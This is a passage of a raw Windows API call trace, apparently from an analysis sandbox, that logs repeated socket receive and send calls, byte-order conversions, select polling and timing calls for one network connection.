[0119.481] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.481] SetLastError (dwErrCode=0x0) [0119.481] WSASetLastError (iError=0) [0119.481] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.481] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.481] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.481] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.481] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.481] htons (hostshort=0x0) returned 0x0 [0119.481] htons (hostshort=0x3393) returned 0x9333 [0119.481] htons (hostshort=0xf201) returned 0x1f2 [0119.481] htons (hostshort=0x0) returned 0x0 [0119.481] htons (hostshort=0x3393) returned 0x9333 [0119.481] htons (hostshort=0xf201) returned 0x1f2 [0119.481] htons (hostshort=0x0) returned 0x0 [0119.481] htons (hostshort=0x9333) returned 0x3393 [0119.481] htons (hostshort=0x1f2) returned 0xf201 [0119.481] htons (hostshort=0x0) returned 0x0 [0119.481] htons (hostshort=0x3393) returned 0x9333 [0119.481] htons (hostshort=0xf201) returned 0x1f2 [0119.481] htons (hostshort=0x0) returned 0x0 [0119.481] htons (hostshort=0x3393) returned 0x9333 [0119.481] htons (hostshort=0xf201) returned 0x1f2 [0119.481] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.481] htons (hostshort=0x0) returned 0x0 [0119.481] htons (hostshort=0x3393) returned 0x9333 [0119.481] htons (hostshort=0xf201) returned 0x1f2 [0119.481] htons (hostshort=0x0) returned 0x0 [0119.482] htons (hostshort=0x3393) returned 0x9333 [0119.482] htons (hostshort=0xf201) returned 0x1f2 [0119.482] htons (hostshort=0x0) returned 0x0 [0119.482] htons (hostshort=0x9333) returned 0x3393 [0119.482] htons (hostshort=0x1f2) returned 0xf201 [0119.482] htons (hostshort=0x0) returned 0x0 [0119.482] htons (hostshort=0x3393) returned 0x9333 [0119.482] htons (hostshort=0xf201) returned 0x1f2 [0119.482] htons (hostshort=0x0) returned 0x0 [0119.482] htons (hostshort=0x3393) returned 0x9333 [0119.482] htons (hostshort=0xf201) returned 0x1f2 [0119.482] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.482] htons (hostshort=0x0) returned 0x0 [0119.482] htons (hostshort=0x3393) returned 0x9333 [0119.482] htons (hostshort=0xf201) returned 0x1f2 [0119.482] htons (hostshort=0x0) returned 0x0 [0119.482] htons (hostshort=0x3393) returned 0x9333 [0119.482] htons (hostshort=0xf201) returned 0x1f2 [0119.482] htons (hostshort=0x0) returned 0x0 [0119.482] htons (hostshort=0x9333) returned 0x3393 [0119.482] htons (hostshort=0x1f2) returned 0xf201 [0119.482] htons (hostshort=0x0) returned 0x0 [0119.482] htons (hostshort=0x3393) returned 0x9333 [0119.482] htons (hostshort=0xf201) returned 0x1f2 [0119.482] htons (hostshort=0x0) returned 0x0 [0119.482] htons (hostshort=0x3393) returned 0x9333 [0119.482] htons (hostshort=0xf201) returned 0x1f2 [0119.482] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.482] htons (hostshort=0x0) returned 0x0 [0119.482] htons (hostshort=0x3393) returned 0x9333 [0119.482] htons (hostshort=0xf201) returned 0x1f2 [0119.482] htons (hostshort=0x0) returned 0x0 [0119.482] htons (hostshort=0x3393) returned 0x9333 [0119.482] htons (hostshort=0xf201) returned 0x1f2 [0119.482] htons (hostshort=0x0) returned 0x0 [0119.482] htons (hostshort=0x9333) returned 0x3393 [0119.482] htons (hostshort=0x1f2) returned 0xf201 [0119.482] htons (hostshort=0x0) returned 0x0 [0119.482] htons (hostshort=0x3393) returned 0x9333 [0119.482] htons (hostshort=0xf201) returned 0x1f2 [0119.482] htons (hostshort=0x0) returned 0x0 [0119.482] htons (hostshort=0x3393) returned 0x9333 [0119.482] htons (hostshort=0xf201) returned 0x1f2 [0119.482] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.482] htons (hostshort=0x0) returned 0x0 [0119.483] htons (hostshort=0x3393) returned 0x9333 [0119.483] htons (hostshort=0xf201) returned 0x1f2 [0119.483] htons (hostshort=0x0) returned 0x0 [0119.483] htons (hostshort=0x3393) returned 0x9333 [0119.483] htons (hostshort=0xf201) returned 0x1f2 [0119.483] htons (hostshort=0x0) returned 0x0 [0119.483] htons (hostshort=0x9333) returned 0x3393 [0119.483] htons (hostshort=0x1f2) returned 0xf201 [0119.483] htons (hostshort=0x0) returned 0x0 [0119.483] htons (hostshort=0x3393) returned 0x9333 [0119.483] htons (hostshort=0xf201) returned 0x1f2 [0119.483] htons (hostshort=0x0) returned 0x0 [0119.483] htons (hostshort=0x3393) returned 0x9333 [0119.483] htons (hostshort=0xf201) returned 0x1f2 [0119.483] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.483] htons (hostshort=0x0) returned 0x0 [0119.483] htons (hostshort=0x3393) returned 0x9333 [0119.483] htons (hostshort=0xf201) returned 0x1f2 [0119.483] htons (hostshort=0x0) returned 0x0 [0119.483] htons (hostshort=0x3393) returned 0x9333 [0119.483] htons (hostshort=0xf201) returned 0x1f2 [0119.483] htons (hostshort=0x0) returned 0x0 [0119.483] htons (hostshort=0x9333) returned 0x3393 [0119.483] htons (hostshort=0x1f2) returned 0xf201 [0119.483] htons (hostshort=0x0) returned 0x0 [0119.483] htons (hostshort=0x3393) returned 0x9333 [0119.483] htons (hostshort=0xf201) returned 0x1f2 [0119.483] htons (hostshort=0x0) returned 0x0 [0119.483] htons (hostshort=0x3393) returned 0x9333 [0119.483] htons (hostshort=0xf201) returned 0x1f2 [0119.483] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.483] htons (hostshort=0x0) returned 0x0 [0119.483] htons (hostshort=0x3393) returned 0x9333 [0119.483] htons (hostshort=0xf201) returned 0x1f2 [0119.483] htons (hostshort=0x0) returned 0x0 [0119.483] htons (hostshort=0x3393) returned 0x9333 [0119.483] htons (hostshort=0xf201) returned 0x1f2 [0119.483] htons (hostshort=0x0) returned 0x0 [0119.483] htons (hostshort=0x9333) returned 0x3393 [0119.483] htons (hostshort=0x1f2) returned 0xf201 [0119.483] htons (hostshort=0x0) returned 0x0 [0119.483] htons (hostshort=0x3393) returned 0x9333 [0119.483] htons (hostshort=0xf201) returned 0x1f2 [0119.483] htons (hostshort=0x0) returned 0x0 [0119.483] htons (hostshort=0x3393) returned 0x9333 [0119.483] htons (hostshort=0xf201) returned 0x1f2 [0119.484] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.484] htons (hostshort=0x0) returned 0x0 [0119.484] htons (hostshort=0x3393) returned 0x9333 [0119.484] htons (hostshort=0xf201) returned 0x1f2 [0119.484] htons (hostshort=0x0) returned 0x0 [0119.484] htons (hostshort=0x3393) returned 0x9333 [0119.484] htons (hostshort=0xf201) returned 0x1f2 [0119.484] htons (hostshort=0x0) returned 0x0 [0119.484] htons (hostshort=0x9333) returned 0x3393 [0119.484] htons (hostshort=0x1f2) returned 0xf201 [0119.484] htons (hostshort=0x0) returned 0x0 [0119.484] htons (hostshort=0x3393) returned 0x9333 [0119.484] htons (hostshort=0xf201) returned 0x1f2 [0119.484] htons (hostshort=0x0) returned 0x0 [0119.484] htons (hostshort=0x3393) returned 0x9333 [0119.484] htons (hostshort=0xf201) returned 0x1f2 [0119.484] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.484] GetCurrentThreadId () returned 0x918 [0119.484] WSASetLastError (iError=0) [0119.484] send (in: s=0x1d4, buf=0x8697b3*, len=1057, flags=0 | out: buf=0x8697b3*) returned 1057 [0119.484] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.484] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.484] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b23 [0119.484] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b23 [0119.484] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5f8 | out: lpSystemTimeAsFileTime=0x36f5f8*(dwLowDateTime=0x3dbac910, dwHighDateTime=0x1d31ac1)) [0119.484] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f658 | out: lpSystemTimeAsFileTime=0x36f658*(dwLowDateTime=0x3dbac910, dwHighDateTime=0x1d31ac1)) [0119.484] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.484] rand () returned 15350 [0119.484] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dbac910, dwHighDateTime=0x1d31ac1)) [0119.484] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.484] GetCurrentThreadId () returned 0x918 [0119.484] WSASetLastError (iError=0) [0119.484] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.484] SetLastError (dwErrCode=0x0) [0119.484] WSASetLastError (iError=0) [0119.484] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.484] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.484] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.485] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.485] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.485] htons (hostshort=0x0) returned 0x0 [0119.485] htons (hostshort=0x3393) returned 0x9333 [0119.485] htons (hostshort=0xf201) returned 0x1f2 [0119.485] htons (hostshort=0x0) returned 0x0 [0119.485] htons (hostshort=0x3393) returned 0x9333 [0119.485] htons (hostshort=0xf201) returned 0x1f2 [0119.485] htons (hostshort=0x0) returned 0x0 [0119.485] htons (hostshort=0x9333) returned 0x3393 [0119.485] htons (hostshort=0x1f2) returned 0xf201 [0119.485] htons (hostshort=0x0) returned 0x0 [0119.485] htons (hostshort=0x3393) returned 0x9333 [0119.485] htons (hostshort=0xf201) returned 0x1f2 [0119.485] htons (hostshort=0x0) returned 0x0 [0119.485] htons (hostshort=0x3393) returned 0x9333 [0119.485] htons (hostshort=0xf201) returned 0x1f2 [0119.485] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.485] htons (hostshort=0x0) returned 0x0 [0119.485] htons (hostshort=0x3393) returned 0x9333 [0119.485] htons (hostshort=0xf201) returned 0x1f2 [0119.485] htons (hostshort=0x0) returned 0x0 [0119.485] htons (hostshort=0x3393) returned 0x9333 [0119.485] htons (hostshort=0xf201) returned 0x1f2 [0119.485] htons (hostshort=0x0) returned 0x0 [0119.485] htons (hostshort=0x9333) returned 0x3393 [0119.485] htons (hostshort=0x1f2) returned 0xf201 [0119.485] htons (hostshort=0x0) returned 0x0 [0119.485] htons (hostshort=0x3393) returned 0x9333 [0119.485] htons (hostshort=0xf201) returned 0x1f2 [0119.485] htons (hostshort=0x0) returned 0x0 [0119.485] htons (hostshort=0x3393) returned 0x9333 [0119.485] htons (hostshort=0xf201) returned 0x1f2 [0119.485] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.485] htons (hostshort=0x0) returned 0x0 [0119.485] htons (hostshort=0x3393) returned 0x9333 [0119.485] htons (hostshort=0xf201) returned 0x1f2 [0119.485] htons (hostshort=0x0) returned 0x0 [0119.485] htons (hostshort=0x3393) returned 0x9333 [0119.485] htons (hostshort=0xf201) returned 0x1f2 [0119.485] htons (hostshort=0x0) returned 0x0 [0119.485] htons (hostshort=0x9333) returned 0x3393 [0119.485] htons (hostshort=0x1f2) returned 0xf201 [0119.486] htons (hostshort=0x0) returned 0x0 [0119.486] htons (hostshort=0x3393) returned 0x9333 [0119.486] htons (hostshort=0xf201) returned 0x1f2 [0119.486] htons (hostshort=0x0) returned 0x0 [0119.486] htons (hostshort=0x3393) returned 0x9333 [0119.486] htons (hostshort=0xf201) returned 0x1f2 [0119.486] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.486] htons (hostshort=0x0) returned 0x0 [0119.486] htons (hostshort=0x3393) returned 0x9333 [0119.486] htons (hostshort=0xf201) returned 0x1f2 [0119.486] htons (hostshort=0x0) returned 0x0 [0119.486] htons (hostshort=0x3393) returned 0x9333 [0119.486] htons (hostshort=0xf201) returned 0x1f2 [0119.486] htons (hostshort=0x0) returned 0x0 [0119.486] htons (hostshort=0x9333) returned 0x3393 [0119.486] htons (hostshort=0x1f2) returned 0xf201 [0119.486] htons (hostshort=0x0) returned 0x0 [0119.486] htons (hostshort=0x3393) returned 0x9333 [0119.486] htons (hostshort=0xf201) returned 0x1f2 [0119.486] htons (hostshort=0x0) returned 0x0 [0119.486] htons (hostshort=0x3393) returned 0x9333 [0119.486] htons (hostshort=0xf201) returned 0x1f2 [0119.486] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.486] htons (hostshort=0x0) returned 0x0 [0119.486] htons (hostshort=0x3393) returned 0x9333 [0119.486] htons (hostshort=0xf201) returned 0x1f2 [0119.486] htons (hostshort=0x0) returned 0x0 [0119.486] htons (hostshort=0x3393) returned 0x9333 [0119.486] htons (hostshort=0xf201) returned 0x1f2 [0119.486] htons (hostshort=0x0) returned 0x0 [0119.486] htons (hostshort=0x9333) returned 0x3393 [0119.486] htons (hostshort=0x1f2) returned 0xf201 [0119.486] htons (hostshort=0x0) returned 0x0 [0119.486] htons (hostshort=0x3393) returned 0x9333 [0119.486] htons (hostshort=0xf201) returned 0x1f2 [0119.486] htons (hostshort=0x0) returned 0x0 [0119.486] htons (hostshort=0x3393) returned 0x9333 [0119.486] htons (hostshort=0xf201) returned 0x1f2 [0119.486] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.486] htons (hostshort=0x0) returned 0x0 [0119.486] htons (hostshort=0x3393) returned 0x9333 [0119.486] htons (hostshort=0xf201) returned 0x1f2 [0119.486] htons (hostshort=0x0) returned 0x0 [0119.486] htons (hostshort=0x3393) returned 0x9333 [0119.486] htons (hostshort=0xf201) returned 0x1f2 [0119.486] htons (hostshort=0x0) returned 0x0 [0119.487] htons (hostshort=0x9333) returned 0x3393 [0119.487] htons (hostshort=0x1f2) returned 0xf201 [0119.487] htons (hostshort=0x0) returned 0x0 [0119.487] htons (hostshort=0x3393) returned 0x9333 [0119.487] htons (hostshort=0xf201) returned 0x1f2 [0119.487] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.487] rand () returned 15006 [0119.487] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dbac910, dwHighDateTime=0x1d31ac1)) [0119.487] WSASetLastError (iError=0) [0119.487] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.487] SetLastError (dwErrCode=0x0) [0119.487] WSASetLastError (iError=0) [0119.487] recv (in: s=0x1d4, buf=0x865668, len=280, flags=0 | out: buf=0x865668*) returned 280 [0119.487] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.487] rand () returned 31101 [0119.487] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dbac910, dwHighDateTime=0x1d31ac1)) [0119.487] WSASetLastError (iError=0) [0119.487] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.487] SetLastError (dwErrCode=0x0) [0119.487] WSASetLastError (iError=0) [0119.487] recv (in: s=0x1d4, buf=0x865668, len=3816, flags=0 | out: buf=0x865668*) returned 718 [0119.487] SetLastError (dwErrCode=0x0) [0119.487] WSASetLastError (iError=0) [0119.487] recv (in: s=0x1d4, buf=0x865936, len=3098, flags=0 | out: buf=0x865936) returned -1 [0119.487] WSAGetLastError () returned 10035 [0119.487] GetCurrentThreadId () returned 0x918 [0119.487] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 0 [0119.488] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dbd2a70, dwHighDateTime=0x1d31ac1)) [0119.488] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5d0 | out: lpSystemTimeAsFileTime=0x36f5d0*(dwLowDateTime=0x3dbd2a70, dwHighDateTime=0x1d31ac1)) [0119.488] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.509] rand () returned 24393 [0119.509] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dbf8bd0, dwHighDateTime=0x1d31ac1)) [0119.509] WSASetLastError (iError=0) [0119.509] recv (in: s=0x1d4, buf=0x865936, len=3098, flags=0 | out: buf=0x865936*) returned 3098 [0119.509] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.510] rand () returned 3548 [0119.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dbf8bd0, dwHighDateTime=0x1d31ac1)) [0119.510] WSASetLastError (iError=0) [0119.510] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.510] SetLastError (dwErrCode=0x0) [0119.510] WSASetLastError (iError=0) [0119.510] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.510] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.510] rand () returned 19629 [0119.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dbf8bd0, dwHighDateTime=0x1d31ac1)) [0119.510] WSASetLastError (iError=0) [0119.510] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.510] SetLastError (dwErrCode=0x0) [0119.510] WSASetLastError (iError=0) [0119.510] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 2752 [0119.510] SetLastError (dwErrCode=0x0) [0119.510] WSASetLastError (iError=0) [0119.510] recv (in: s=0x1d4, buf=0x866128, len=1320, flags=0 | out: buf=0x866128) returned -1 [0119.510] WSAGetLastError () returned 10035 [0119.510] GetCurrentThreadId () returned 0x918 [0119.510] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.510] rand () returned 12623 [0119.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dbf8bd0, dwHighDateTime=0x1d31ac1)) [0119.511] WSASetLastError (iError=0) [0119.511] recv (in: s=0x1d4, buf=0x866128, len=1320, flags=0 | out: buf=0x866128*) returned 1320 [0119.511] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.511] rand () returned 24084 [0119.511] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dbf8bd0, dwHighDateTime=0x1d31ac1)) [0119.511] WSASetLastError (iError=0) [0119.511] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.511] SetLastError (dwErrCode=0x0) [0119.511] WSASetLastError (iError=0) [0119.511] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 127 [0119.511] SetLastError (dwErrCode=0x0) [0119.511] WSASetLastError (iError=0) [0119.511] recv (in: s=0x1d4, buf=0x8656e7, len=3945, flags=0 | out: buf=0x8656e7) returned -1 [0119.511] WSAGetLastError () returned 10035 [0119.511] GetCurrentThreadId () returned 0x918 [0119.511] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 0 [0119.511] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dbf8bd0, dwHighDateTime=0x1d31ac1)) [0119.511] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.511] rand () returned 19954 [0119.511] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dbf8bd0, dwHighDateTime=0x1d31ac1)) [0119.511] WSASetLastError (iError=0) [0119.511] recv (in: s=0x1d4, buf=0x8656e7, len=3945, flags=0 | out: buf=0x8656e7*) returned 1452 [0119.512] SetLastError (dwErrCode=0x0) [0119.512] WSASetLastError (iError=0) [0119.512] recv (in: s=0x1d4, buf=0x865c93, len=2493, flags=0 | out: buf=0x865c93*) returned 1452 [0119.512] SetLastError (dwErrCode=0x0) [0119.512] WSASetLastError (iError=0) [0119.512] recv (in: s=0x1d4, buf=0x86623f, len=1041, flags=0 | out: buf=0x86623f) returned -1 [0119.512] WSAGetLastError () returned 10035 [0119.512] GetCurrentThreadId () returned 0x918 [0119.512] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.512] rand () returned 18756 [0119.512] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dbf8bd0, dwHighDateTime=0x1d31ac1)) [0119.512] WSASetLastError (iError=0) [0119.512] recv (in: s=0x1d4, buf=0x86623f, len=1041, flags=0 | out: buf=0x86623f*) returned 1041 [0119.512] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 2 [0119.512] rand () returned 11840 [0119.512] rand () returned 4966 [0119.512] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dbf8bd0, dwHighDateTime=0x1d31ac1)) [0119.512] WSASetLastError (iError=0) [0119.512] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.512] SetLastError (dwErrCode=0x0) [0119.512] WSASetLastError (iError=0) [0119.512] recv (in: s=0x1d4, buf=0x865668, len=536, flags=0 | out: buf=0x865668*) returned 536 [0119.512] WSASetLastError (iError=0) [0119.512] send (in: s=0x1d4, buf=0x8697b3*, len=543, flags=0 | out: buf=0x8697b3*) returned 543 [0119.512] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.512] rand () returned 7376 [0119.512] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dbf8bd0, dwHighDateTime=0x1d31ac1)) [0119.512] WSASetLastError (iError=0) [0119.513] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.513] SetLastError (dwErrCode=0x0) [0119.513] WSASetLastError (iError=0) [0119.513] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 1317 [0119.513] SetLastError (dwErrCode=0x0) [0119.513] WSASetLastError (iError=0) [0119.513] recv (in: s=0x1d4, buf=0x865b8d, len=2755, flags=0 | out: buf=0x865b8d) returned -1 [0119.513] WSAGetLastError () returned 10035 [0119.513] GetCurrentThreadId () returned 0x918 [0119.513] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.514] rand () returned 13931 [0119.514] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dbf8bd0, dwHighDateTime=0x1d31ac1)) [0119.514] WSASetLastError (iError=0) [0119.514] recv (in: s=0x1d4, buf=0x865b8d, len=2755, flags=0 | out: buf=0x865b8d*) returned 2755 [0119.514] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.514] rand () returned 26308 [0119.514] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dbf8bd0, dwHighDateTime=0x1d31ac1)) [0119.514] WSASetLastError (iError=0) [0119.515] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.515] SetLastError (dwErrCode=0x0) [0119.515] WSASetLastError (iError=0) [0119.515] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 3280 [0119.515] SetLastError (dwErrCode=0x0) [0119.515] WSASetLastError (iError=0) [0119.515] recv (in: s=0x1d4, buf=0x866338, len=792, flags=0 | out: buf=0x866338) returned -1 [0119.515] WSAGetLastError () returned 10035 [0119.515] GetCurrentThreadId () returned 0x918 [0119.515] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 0 [0119.515] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dbf8bd0, dwHighDateTime=0x1d31ac1)) [0119.515] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.516] rand () returned 16944 [0119.516] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dbf8bd0, dwHighDateTime=0x1d31ac1)) [0119.516] WSASetLastError (iError=0) [0119.516] recv (in: s=0x1d4, buf=0x866338, len=792, flags=0 | out: buf=0x866338*) returned 792 [0119.516] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.516] rand () returned 32439 [0119.516] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dbf8bd0, dwHighDateTime=0x1d31ac1)) [0119.516] WSASetLastError (iError=0) [0119.516] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.516] SetLastError (dwErrCode=0x0) [0119.516] WSASetLastError (iError=0) [0119.516] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.516] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.516] rand () returned 24626 [0119.516] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dbf8bd0, dwHighDateTime=0x1d31ac1)) [0119.516] WSASetLastError (iError=0) [0119.516] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.517] SetLastError (dwErrCode=0x0) [0119.517] WSASetLastError (iError=0) [0119.517] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 3838 [0119.517] SetLastError (dwErrCode=0x0) [0119.517] WSASetLastError (iError=0) [0119.517] recv (in: s=0x1d4, buf=0x866566, len=234, flags=0 | out: buf=0x866566) returned -1 [0119.517] WSAGetLastError () returned 10035 [0119.517] GetCurrentThreadId () returned 0x918 [0119.517] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.517] rand () returned 11323 